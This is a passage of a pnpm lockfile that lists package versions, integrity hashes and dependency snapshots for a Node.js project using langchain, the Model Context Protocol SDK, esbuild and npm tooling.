sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==}\n    engines: {node: '>=18'}\n\n  wrappy@1.0.2:\n    resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==}\n\n  write-file-atomic@3.0.3:\n    resolution: {integrity: sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==}\n\n  write-file-atomic@5.0.1:\n    resolution: {integrity: sha512-+QU2zd6OTD8XWIJCbffaiQeH9U73qIqafo1x6V1snCWYGJf6cVE0cDR4D8xRzcEnfI21IFrUPzPGtcPf8AC+Rw==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  ws@8.19.0:\n    resolution: {integrity: sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==}\n    engines: {node: '>=10.0.0'}\n    peerDependencies:\n      bufferutil: ^4.0.1\n      utf-8-validate: '>=5.0.2'\n    peerDependenciesMeta:\n      bufferutil:\n        optional: true\n      utf-8-validate:\n        optional: true\n\n  xml2js@0.6.2:\n    resolution: {integrity: sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA==}\n    engines: {node: '>=4.0.0'}\n\n  xmlbuilder@11.0.1:\n    resolution: {integrity: sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==}\n    engines: {node: '>=4.0'}\n\n  xss@1.0.15:\n    resolution: {integrity: sha512-FVdlVVC67WOIPvfOwhoMETV72f6GbW7aOabBC3WxN/oUdoEMDyLz4OgRv5/gck2ZeNqEQu+Tb0kloovXOfpYVg==}\n    engines: {node: '>= 0.10.0'}\n    hasBin: true\n\n  y18n@4.0.3:\n    resolution: {integrity: sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==}\n\n  y18n@5.0.8:\n    resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==}\n    engines: {node: '>=10'}\n\n  yallist@4.0.0:\n    resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==}\n\n  yaml@2.8.2:\n    resolution: {integrity: sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==}\n    engines: {node: '>= 14.6'}\n    hasBin: true\n\n  yargs-parser@13.1.2:\n    resolution: {integrity: sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==}\n\n  yargs-parser@21.1.1:\n    resolution: {integrity: sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==}\n    engines: {node: '>=12'}\n\n  yargs-unparser@2.0.0:\n    resolution: {integrity: sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==}\n    engines: {node: '>=10'}\n\n  yargs@13.3.2:\n    resolution: {integrity: sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==}\n\n  yargs@17.7.2:\n    resolution: {integrity: sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==}\n    engines: {node: '>=12'}\n\n  ylru@1.4.0:\n    resolution: {integrity: sha512-2OQsPNEmBCvXuFlIni/a+Rn+R2pHW9INm0BxXJ4hVDA8TirqMj+J/Rp9ItLatT/5pZqWwefVrTQcHpixsxnVlA==}\n    engines: {node: '>= 4.0.0'}\n\n  ylru@2.0.0:\n    resolution: {integrity: sha512-T6hTrKcr9lKeUG0MQ/tO72D3UGptWVohgzpHG8ljU1jeBt2RCjcWxvsTPD8ZzUq1t1FvwROAw1kxg2euvg/THg==}\n    engines: {node: '>= 18.19.0'}\n\n  yn@3.1.1:\n    resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==}\n    engines: {node: '>=6'}\n\n  yocto-queue@0.1.0:\n    resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==}\n    engines: {node: '>=10'}\n\n  yoctocolors@2.1.2:\n    resolution: {integrity: sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug==}\n    engines: {node: '>=18'}\n\n  zod-to-json-schema@3.25.1:\n    resolution: {integrity: sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA==}\n    peerDependencies:\n      zod: ^3.25 || ^4\n\n  zod@3.25.76:\n    resolution: {integrity: sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==}\n\n  zod@4.3.6:\n    resolution: {integrity: sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==}\n\n  zwitch@2.0.4:\n    resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==}\n\nsnapshots:\n\n  '@babel/generator@7.28.5':\n    dependencies:\n      '@babel/parser': 7.28.5\n      '@babel/types': 7.28.5\n      '@jridgewell/gen-mapping': 0.3.13\n      '@jridgewell/trace-mapping': 0.3.31\n      jsesc: 3.1.0\n\n  '@babel/helper-string-parser@7.27.1': {}\n\n  '@babel/helper-validator-identifier@7.28.5': {}\n\n  '@babel/parser@7.28.5':\n    dependencies:\n      '@babel/types': 7.28.5\n\n  '@babel/types@7.28.5':\n    dependencies:\n      '@babel/helper-string-parser': 7.27.1\n      '@babel/helper-validator-identifier': 7.28.5\n\n  '@bcoe/v8-coverage@1.0.2': {}\n\n  '@cfworker/json-schema@4.1.1': {}\n\n  '@clack/core@0.5.0':\n    dependencies:\n      picocolors: 1.1.1\n      sisteransi: 1.0.5\n\n  '@clack/prompts@0.11.0':\n    dependencies:\n      '@clack/core': 0.5.0\n      picocolors: 1.1.1\n      sisteransi: 1.0.5\n\n  '@cnpmjs/muk-prop@1.1.1': {}\n\n  '@cspotcode/source-map-support@0.8.1':\n    dependencies:\n      '@jridgewell/trace-mapping': 0.3.9\n\n  '@docsearch/css@4.3.2': {}\n\n  '@docsearch/js@4.3.2':\n    dependencies:\n      htm: 3.1.1\n\n  '@eggjs/ajv-formats@3.0.1':\n    dependencies:\n      ajv: 8.17.1\n\n  '@eggjs/ajv-keywords@5.1.1':\n    dependencies:\n      ajv: 8.17.1\n      fast-deep-equal: 3.1.3\n\n  '@eggjs/compressible@3.0.0':\n    dependencies:\n      mime-db: 1.52.0\n\n  '@eggjs/ip@2.1.0': {}\n\n  '@eggjs/rds@1.5.0':\n    dependencies:\n      mysql2: 3.15.2\n      onelogger: 1.0.1\n      sqlstring: 2.3.3\n\n  '@emnapi/core@1.7.1':\n    dependencies:\n      '@emnapi/wasi-threads': 1.1.0\n      tslib: 2.8.1\n    optional: true\n\n  '@emnapi/runtime@1.7.1':\n    dependencies:\n      tslib: 2.8.1\n    optional: true\n\n  '@emnapi/wasi-threads@1.1.0':\n    dependencies:\n      tslib: 2.8.1\n    optional: true\n\n  '@esbuild/aix-ppc64@0.25.12':\n    optional: true\n\n  '@esbuild/aix-ppc64@0.27.0':\n    optional: true\n\n  '@esbuild/android-arm64@0.25.12':\n    optional: true\n\n  '@esbuild/android-arm64@0.27.0':\n    optional: true\n\n  '@esbuild/android-arm@0.25.12':\n    optional: true\n\n  '@esbuild/android-arm@0.27.0':\n    optional: true\n\n  '@esbuild/android-x64@0.25.12':\n    optional: true\n\n  '@esbuild/android-x64@0.27.0':\n    optional: true\n\n  '@esbuild/darwin-arm64@0.25.12':\n    optional: true\n\n  '@esbuild/darwin-arm64@0.27.0':\n    optional: true\n\n  '@esbuild/darwin-x64@0.25.12':\n    optional: true\n\n  '@esbuild/darwin-x64@0.27.0':\n    optional: true\n\n  '@esbuild/freebsd-arm64@0.25.12':\n    optional: true\n\n  '@esbuild/freebsd-arm64@0.27.0':\n    optional: true\n\n  '@esbuild/freebsd-x64@0.25.12':\n    optional: true\n\n  '@esbuild/freebsd-x64@0.27.0':\n    optional: true\n\n  '@esbuild/linux-arm64@0.25.12':\n    optional: true\n\n  '@esbuild/linux-arm64@0.27.0':\n    optional: true\n\n  '@esbuild/linux-arm@0.25.12':\n    optional: true\n\n  '@esbuild/linux-arm@0.27.0':\n    optional: true\n\n  '@esbuild/linux-ia32@0.25.12':\n    optional: true\n\n  '@esbuild/linux-ia32@0.27.0':\n    optional: true\n\n  '@esbuild/linux-loong64@0.25.12':\n    optional: true\n\n  '@esbuild/linux-loong64@0.27.0':\n    optional: true\n\n  '@esbuild/linux-mips64el@0.25.12':\n    optional: true\n\n  '@esbuild/linux-mips64el@0.27.0':\n    optional: true\n\n  '@esbuild/linux-ppc64@0.25.12':\n    optional: true\n\n  '@esbuild/linux-ppc64@0.27.0':\n    optional: true\n\n  '@esbuild/linux-riscv64@0.25.12':\n    optional: true\n\n  '@esbuild/linux-riscv64@0.27.0':\n    optional: true\n\n  '@esbuild/linux-s390x@0.25.12':\n    optional: true\n\n  '@esbuild/linux-s390x@0.27.0':\n    optional: true\n\n  '@esbuild/linux-x64@0.25.12':\n    optional: true\n\n  '@esbuild/linux-x64@0.27.0':\n    optional: true\n\n  '@esbuild/netbsd-arm64@0.25.12':\n    optional: true\n\n  '@esbuild/netbsd-arm64@0.27.0':\n    optional: true\n\n  '@esbuild/netbsd-x64@0.25.12':\n    optional: true\n\n  '@esbuild/netbsd-x64@0.27.0':\n    optional: true\n\n  '@esbuild/openbsd-arm64@0.25.12':\n    optional: true\n\n  '@esbuild/openbsd-arm64@0.27.0':\n    optional: true\n\n  '@esbuild/openbsd-x64@0.25.12':\n    optional: true\n\n  '@esbuild/openbsd-x64@0.27.0':\n    optional: true\n\n  '@esbuild/openharmony-arm64@0.25.12':\n    optional: true\n\n  '@esbuild/openharmony-arm64@0.27.0':\n    optional: true\n\n  '@esbuild/sunos-x64@0.25.12':\n    optional: true\n\n  '@esbuild/sunos-x64@0.27.0':\n    optional: true\n\n  '@esbuild/win32-arm64@0.25.12':\n    optional: true\n\n  '@esbuild/win32-arm64@0.27.0':\n    optional: true\n\n  '@esbuild/win32-ia32@0.25.12':\n    optional: true\n\n  '@esbuild/win32-ia32@0.27.0':\n    optional: true\n\n  '@esbuild/win32-x64@0.25.12':\n    optional: true\n\n  '@esbuild/win32-x64@0.27.0':\n    optional: true\n\n  '@fastify/busboy@2.1.1': {}\n\n  '@fengmk2/ps-tree@2.0.2':\n    dependencies:\n      event-stream: 4.0.1\n\n  '@gar/promisify@1.1.3': {}\n\n  '@hapi/bourne@3.0.0': {}\n\n  '@hono/node-server@1.19.9(hono@4.11.10)':\n    dependencies:\n      hono: 4.11.10\n\n  '@iconify-json/simple-icons@1.2.60':\n    dependencies:\n      '@iconify/types': 2.0.0\n\n  '@iconify/types@2.0.0': {}\n\n  '@ioredis/as-callback@3.0.0': {}\n\n  '@ioredis/commands@1.4.0': {}\n\n  '@isaacs/balanced-match@4.0.1': {}\n\n  '@isaacs/brace-expansion@5.0.0':\n    dependencies:\n      '@isaacs/balanced-match': 4.0.1\n\n  '@isaacs/cliui@8.0.2':\n    dependencies:\n      string-width: 5.1.2\n      string-width-cjs: string-width@4.2.3\n      strip-ansi: 7.1.2\n      strip-ansi-cjs: strip-ansi@6.0.1\n      wrap-ansi: 8.1.0\n      wrap-ansi-cjs: wrap-ansi@7.0.0\n\n  '@isaacs/string-locale-compare@1.1.0': {}\n\n  '@istanbuljs/schema@0.1.3': {}\n\n  '@jest/pattern@30.0.1':\n    dependencies:\n      '@types/node': 24.10.2\n      jest-regex-util: 30.0.1\n\n  '@jest/schemas@30.0.5':\n    dependencies:\n      '@sinclair/typebox': 0.34.41\n\n  '@jest/types@30.2.0':\n    dependencies:\n      '@jest/pattern': 30.0.1\n      '@jest/schemas': 30.0.5\n      '@types/istanbul-lib-coverage': 2.0.6\n      '@types/istanbul-reports': 3.0.4\n      '@types/node': 24.10.2\n      '@types/yargs': 17.0.33\n      chalk: 4.1.2\n\n  '@jridgewell/gen-mapping@0.3.13':\n    dependencies:\n      '@jridgewell/sourcemap-codec': 1.5.5\n      '@jridgewell/trace-mapping': 0.3.31\n\n  '@jridgewell/remapping@2.3.5':\n    dependencies:\n      '@jridgewell/gen-mapping': 0.3.13\n      '@jridgewell/trace-mapping': 0.3.31\n    optional: true\n\n  '@jridgewell/resolve-uri@3.1.2': {}\n\n  '@jridgewell/source-map@0.3.11':\n    dependencies:\n      '@jridgewell/gen-mapping': 0.3.13\n      '@jridgewell/trace-mapping': 0.3.31\n    optional: true\n\n  '@jridgewell/sourcemap-codec@1.5.5': {}\n\n  '@jridgewell/trace-mapping@0.3.31':\n    dependencies:\n      '@jridgewell/resolve-uri': 3.1.2\n      '@jridgewell/sourcemap-codec': 1.5.5\n\n  '@jridgewell/trace-mapping@0.3.9':\n    dependencies:\n      '@jridgewell/resolve-uri': 3.1.2\n      '@jridgewell/sourcemap-codec': 1.5.5\n\n  '@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))':\n    dependencies:\n      '@cfworker/json-schema': 4.1.1\n      ansi-styles: 6.2.3\n      camelcase: 6.3.0\n      decamelize: 1.2.0\n      js-tiktoken: 1.0.21\n      langsmith: 0.5.4(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      mustache: 4.2.0\n      p-queue: 6.6.2\n      uuid: 10.0.0\n      zod: 4.3.6\n    transitivePeerDependencies:\n      - '@opentelemetry/api'\n      - '@opentelemetry/exporter-trace-otlp-proto'\n      - '@opentelemetry/sdk-trace-base'\n      - openai\n\n  '@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6))':\n    dependencies:\n      '@cfworker/json-schema': 4.1.1\n      ansi-styles: 6.2.3\n      camelcase: 6.3.0\n      decamelize: 1.2.0\n      js-tiktoken: 1.0.21\n      langsmith: 0.5.4(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n      mustache: 4.2.0\n      p-queue: 6.6.2\n      uuid: 10.0.0\n      zod: 4.3.6\n    transitivePeerDependencies:\n      - '@opentelemetry/api'\n      - '@opentelemetry/exporter-trace-otlp-proto'\n      - '@opentelemetry/sdk-trace-base'\n      - openai\n\n  '@langchain/langgraph-checkpoint@1.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      uuid: 10.0.0\n\n  '@langchain/langgraph-checkpoint@1.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n      uuid: 10.0.0\n\n  '@langchain/langgraph-sdk@2.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))':\n    dependencies:\n      '@types/json-schema': 7.0.15\n      p-queue: 9.1.0\n      p-retry: 7.1.1\n      uuid: 13.0.0\n    optionalDependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n\n  '@langchain/langgraph-sdk@2.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))':\n    dependencies:\n      '@types/json-schema': 7.0.15\n      p-queue: 9.1.0\n      p-retry: 7.1.1\n      uuid: 13.0.0\n    optionalDependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n\n  '@langchain/langgraph@1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(zod-to-json-schema@3.25.1(zod@3.25.76))(zod@3.25.76)':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      '@langchain/langgraph-checkpoint': 1.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))\n      '@langchain/langgraph-sdk': 2.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))\n      '@standard-schema/spec': 1.1.0\n      uuid: 10.0.0\n      zod: 3.25.76\n    optionalDependencies:\n      zod-to-json-schema: 3.25.1(zod@3.25.76)\n    transitivePeerDependencies:\n      - react\n      - react-dom\n\n  '@langchain/langgraph@1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(zod-to-json-schema@3.25.1(zod@3.25.76))(zod@4.3.6)':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      '@langchain/langgraph-checkpoint': 1.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))\n      '@langchain/langgraph-sdk': 2.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))\n      '@standard-schema/spec': 1.1.0\n      uuid: 10.0.0\n      zod: 4.3.6\n    optionalDependencies:\n      zod-to-json-schema: 3.25.1(zod@3.25.76)\n    transitivePeerDependencies:\n      - react\n      - react-dom\n\n  '@langchain/langgraph@1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(zod-to-json-schema@3.25.1(zod@4.3.6))(zod@4.3.6)':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n      '@langchain/langgraph-checkpoint': 1.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))\n      '@langchain/langgraph-sdk': 2.0.0(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))\n      '@standard-schema/spec': 1.1.0\n      uuid: 10.0.0\n      zod: 4.3.6\n    optionalDependencies:\n      zod-to-json-schema: 3.25.1(zod@4.3.6)\n    transitivePeerDependencies:\n      - react\n      - react-dom\n\n  '@langchain/mcp-adapters@1.1.3(@cfworker/json-schema@4.1.1)(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(@langchain/langgraph@1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(zod-to-json-schema@3.25.1(zod@3.25.76))(zod@3.25.76))':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      '@langchain/langgraph': 1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(zod-to-json-schema@3.25.1(zod@3.25.76))(zod@3.25.76)\n      '@modelcontextprotocol/sdk': 1.26.0(@cfworker/json-schema@4.1.1)(zod@4.3.6)\n      debug: 4.4.3(supports-color@8.1.1)\n      zod: 4.3.6\n    optionalDependencies:\n      extended-eventsource: 1.7.0\n    transitivePeerDependencies:\n      - '@cfworker/json-schema'\n      - supports-color\n\n  '@langchain/mcp-adapters@1.1.3(@cfworker/json-schema@4.1.1)(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(@langchain/langgraph@1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(zod-to-json-schema@3.25.1(zod@4.3.6))(zod@4.3.6))':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n      '@langchain/langgraph': 1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(zod-to-json-schema@3.25.1(zod@4.3.6))(zod@4.3.6)\n      '@modelcontextprotocol/sdk': 1.26.0(@cfworker/json-schema@4.1.1)(zod@4.3.6)\n      debug: 4.4.3(supports-color@8.1.1)\n      zod: 4.3.6\n    optionalDependencies:\n      extended-eventsource: 1.7.0\n    transitivePeerDependencies:\n      - '@cfworker/json-schema'\n      - supports-color\n\n  '@langchain/openai@1.2.8(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(ws@8.19.0)':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      js-tiktoken: 1.0.21\n      openai: 6.22.0(ws@8.19.0)(zod@4.3.6)\n      zod: 4.3.6\n    transitivePeerDependencies:\n      - ws\n\n  '@langchain/openai@1.2.8(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6)))(ws@8.19.0)':\n    dependencies:\n      '@langchain/core': 1.1.26(openai@6.22.0(ws@8.19.0)(zod@4.3.6))\n      js-tiktoken: 1.0.21\n      openai: 6.22.0(ws@8.19.0)(zod@4.3.6)\n      zod: 4.3.6\n    transitivePeerDependencies:\n      - ws\n\n  '@modelcontextprotocol/sdk@1.26.0(@cfworker/json-schema@4.1.1)(zod@3.25.76)':\n    dependencies:\n      '@hono/node-server': 1.19.9(hono@4.11.10)\n      ajv: 8.17.1\n      ajv-formats: 3.0.1(ajv@8.17.1)\n      content-type: 1.0.5\n      cors: 2.8.6\n      cross-spawn: 7.0.6\n      eventsource: 3.0.7\n      eventsource-parser: 3.0.6\n      express: 5.2.1\n      express-rate-limit: 8.2.1(express@5.2.1)\n      hono: 4.11.10\n      jose: 6.1.3\n      json-schema-typed: 8.0.2\n      pkce-challenge: 5.0.1\n      raw-body: 3.0.1\n      zod: 3.25.76\n      zod-to-json-schema: 3.25.1(zod@3.25.76)\n    optionalDependencies:\n      '@cfworker/json-schema': 4.1.1\n    transitivePeerDependencies:\n      - supports-color\n\n  '@modelcontextprotocol/sdk@1.26.0(@cfworker/json-schema@4.1.1)(zod@4.3.6)':\n    dependencies:\n      '@hono/node-server': 1.19.9(hono@4.11.10)\n      ajv: 8.17.1\n      ajv-formats: 3.0.1(ajv@8.17.1)\n      content-type: 1.0.5\n      cors: 2.8.6\n      cross-spawn: 7.0.6\n      eventsource: 3.0.7\n      eventsource-parser: 3.0.6\n      express: 5.2.1\n      express-rate-limit: 8.2.1(express@5.2.1)\n      hono: 4.11.10\n      jose: 6.1.3\n      json-schema-typed: 8.0.2\n      pkce-challenge: 5.0.1\n      raw-body: 3.0.1\n      zod: 4.3.6\n      zod-to-json-schema: 3.25.1(zod@4.3.6)\n    optionalDependencies:\n      '@cfworker/json-schema': 4.1.1\n    transitivePeerDependencies:\n      - supports-color\n\n  '@napi-rs/wasm-runtime@1.1.0':\n    dependencies:\n      '@emnapi/core': 1.7.1\n      '@emnapi/runtime': 1.7.1\n      '@tybys/wasm-util': 0.10.1\n    optional: true\n\n  '@noble/hashes@1.8.0': {}\n\n  '@nodelib/fs.scandir@2.1.5':\n    dependencies:\n      '@nodelib/fs.stat': 2.0.5\n      run-parallel: 1.2.0\n\n  '@nodelib/fs.stat@2.0.5': {}\n\n  '@nodelib/fs.walk@1.2.8':\n    dependencies:\n      '@nodelib/fs.scandir': 2.1.5\n      fastq: 1.19.1\n\n  '@npmcli/arborist@6.5.1':\n    dependencies:\n      '@isaacs/string-locale-compare': 1.1.0\n      '@npmcli/fs': 3.1.1\n      '@npmcli/installed-package-contents': 2.1.0\n      '@npmcli/map-workspaces': 3.0.6\n      '@npmcli/metavuln-calculator': 5.0.1\n      '@npmcli/name-from-folder': 2.0.0\n      '@npmcli/node-gyp': 3.0.0\n      '@npmcli/package-json': 4.0.1\n      '@npmcli/query': 3.1.0\n      '@npmcli/run-script': 6.0.2\n      bin-links: 4.0.4\n      cacache: 17.1.4\n      common-ancestor-path: 1.0.1\n      hosted-git-info: 6.1.3\n      json-parse-even-better-errors: 3.0.2\n      json-stringify-nice: 1.1.4\n      minimatch: 9.0.5\n      nopt: 7.2.1\n      npm-install-checks: 6.3.0\n      npm-package-arg: 10.1.0\n      npm-pick-manifest: 8.0.2\n      npm-registry-fetch: 14.0.5\n      npmlog: 7.0.1\n      pacote: 15.2.0\n      parse-conflict-json: 3.0.1\n      proc-log: 3.0.0\n      promise-all-reject-late: 1.0.1\n      promise-call-limit: 1.0.2\n      read-package-json-fast: 3.0.2\n      semver: 7.7.3\n      ssri: 10.0.6\n      treeverse: 3.0.0\n      walk-up-path: 3.0.1\n    transitivePeerDependencies:\n      - bluebird\n      - supports-color\n\n  '@npmcli/fs@2.1.2':\n    dependencies:\n      '@gar/promisify': 1.1.3\n      semver: 7.7.3\n\n  '@npmcli/fs@3.1.1':\n    dependencies:\n      semver: 7.7.3\n\n  '@npmcli/git@4.1.0':\n    dependencies:\n      '@npmcli/promise-spawn': 6.0.2\n      lru-cache: 7.18.3\n      npm-pick-manifest: 8.0.2\n      proc-log: 3.0.0\n      promise-inflight: 1.0.1\n      promise-retry: 2.0.1\n      semver: 7.7.3\n      which: 3.0.1\n    transitivePeerDependencies:\n      - bluebird\n\n  '@npmcli/installed-package-contents@2.1.0':\n    dependencies:\n      npm-bundled: 3.0.1\n      npm-normalize-package-bin: 3.0.1\n\n  '@npmcli/map-workspaces@3.0.6':\n    dependencies:\n      '@npmcli/name-from-folder': 2.0.0\n      glob: 10.5.0\n      minimatch: 9.0.5\n      read-package-json-fast: 3.0.2\n\n  '@npmcli/metavuln-calculator@5.0.1':\n    dependencies:\n      cacache: 17.1.4\n      json-parse-even-better-errors: 3.0.2\n      pacote: 15.2.0\n      semver: 7.7.3\n    transitivePeerDependencies:\n      - bluebird\n      - supports-color\n\n  '@npmcli/move-file@2.0.1':\n    dependencies:\n      mkdirp: 1.0.4\n      rimraf: 3.0.2\n\n  '@npmcli/name-from-folder@2.0.0': {}\n\n  '@npmcli/node-gyp@3.0.0': {}\n\n  '@npmcli/package-json@4.0.1':\n    dependencies:\n      '@npmcli/git': 4.1.0\n      glob: 10.5.0\n      hosted-git-info: 6.1.3\n      json-parse-even-better-errors: 3.0.2\n      normalize-package-data: 5.0.0\n      proc-log: 3.0.0\n      semver: 7.7.3\n    transitivePeerDependencies:\n      - bluebird\n\n  '@npmcli/promise-spawn@6.0.2':\n    dependencies:\n      which: 3.0.1\n\n  '@npmcli/query@3.1.0':\n    dependencies:\n      postcss-selector-parser: 6.1.2\n\n  '@npmcli/run-script@6.0.2':\n    dependencies:\n      '@npmcli/node-gyp': 3.0.0\n      '@npmcli/promise-spawn': 6.0.2\n      node-gyp: 9.4.1\n      read-package-json-fast: 3.0.2\n      which: 3.0.1\n    transitivePeerDependencies:\n      - bluebird\n      - supports-color\n\n  '@oclif/core@4.5.6':\n    dependencies:\n      ansi-escapes: 4.3.2\n      ansis: 3.17.0\n      clean-stack: 3.0.1\n      cli-spinners: 2.9.2\n      debug: 4.4.3(supports-color@8.1.1)\n      ejs: 3.1.10\n      get-package-type: 0.1.0\n      indent-string: 4.0.0\n      is-wsl: 2.2.0\n      lilconfig: 3.1.3\n      minimatch: 9.0.5\n      semver: 7.7.3\n      string-width: 4.2.3\n      supports-color: 8.1.1\n      tinyglobby: 0.2.15\n      widest-line: 3.1.0\n      wordwrap: 1.0.0\n      wrap-ansi: 7.0.0\n\n  '@one-ini/wasm@0.1.1': {}\n\n  '@oxc-minify/binding-android-arm64@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-darwin-arm64@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-darwin-x64@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-freebsd-x64@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-linux-arm-gnueabihf@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-linux-arm64-gnu@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-linux-arm64-musl@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-linux-riscv64-gnu@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-linux-s390x-gnu@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-linux-x64-gnu@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-linux-x64-musl@0.105.0':\n    optional: true\n\n  '@oxc-minify/binding-openharmony-arm64@0.105.0':\n    optional: true\n\n  